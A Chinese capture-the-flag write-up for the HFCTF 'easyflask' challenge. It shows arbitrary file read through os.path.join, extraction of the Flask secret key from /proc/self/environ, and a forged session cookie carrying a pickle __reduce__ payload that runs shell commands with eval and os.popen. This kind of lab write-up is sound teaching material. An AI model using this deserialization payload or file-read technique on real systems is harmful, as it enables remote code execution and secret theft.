HFCTFeasyflask

文章目录

- 按提示找到源码

- 找到secret key

- 构造反序列化伪造cookie


找源码

这个按题目提示构造/file?file=/app/source即可得到源码

找secret key

审计源码到这发现有一个黑名单过滤,并且有一个路径拼接,看到这里显然可以想到读取任意文件,百度了一下os.path.jpin()函数发现有漏洞

1
2
3
4
5
6
os.path.join()函数用于路径拼接文件路径。
os.path.join()函数中可以传入多个路径:

会从第一个以”/”开头的参数开始拼接,之前的参数全部丢弃。

以上一种情况为先。在上一种情况确保情况下,若出现”./”开头的参数,会从”./”开头的参数的上一个参数开始拼接。

在这里插入图片描述
之后直接输路径就行最开始我读的是/etc/passwd,/etc/profile,后来发现都没啥作用,最后才发现还有一个程序的环境变量/proc文件夹,对于/proc文件的解释如下

1
2
3
4
5
6
/proc文件系统下的多种文件提供的系统信息不是针对某个特定进程的,而是能够在整个系统范围的上下文中使用。可以使用的文件随系统
配置的变化而变化。命令procinfo能够显示基于其中某些文件的多种系统信息。以下详细描述/proc下的文件。

/proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和
应用程序可以通过 proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取pr
oc文件时,proc文件系统是 动态从系统内核读出所需信息并提交的。

最后读/proc/self/environ可得到secret key
在这里插入图片描述

构造反序列化伪造cookie

直接将代码复制下来改一下user类本地跑一下session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

# User = type('User', (object,), {
# 'uname': 'test',
# 'is_admin': 1,
# '__repr__': lambda o: o.uname,
# '__reduce__': (eval, ("__import__('os').popen('echo `cat /flag` > /tmp/111').read()",)),
# })
# def __reduce__(self):
# # os.system('ls > /1.txt')
# # cmd = "__import__('os').popen('echo `cat /flag` > /tmp/111').read()"
# return (eval, ("__import__('os').popen('echo `cat /flag` > /tmp/111').read()",))
class User:
uname = 'aaa'
is_admin = 1
__repr__: lambda o: o.uname
def __reduce__(self):
return (eval, ("__import__('os').popen('echo `cat /flag` > /tmp/111').read()",))


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('127.0.0.1', port=8000, debug=False)

在这里插入图片描述
将session复制到原环境即可,正常成功的话再访问/admin应该返回500
在这里插入图片描述

总结一下:主要考点在于对flask的session机制的了解,对session伪造的掌握,还有要知道secrey key一般存放在环境变量的哪个文件夹,以及对python反序列化攻击的掌握.


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!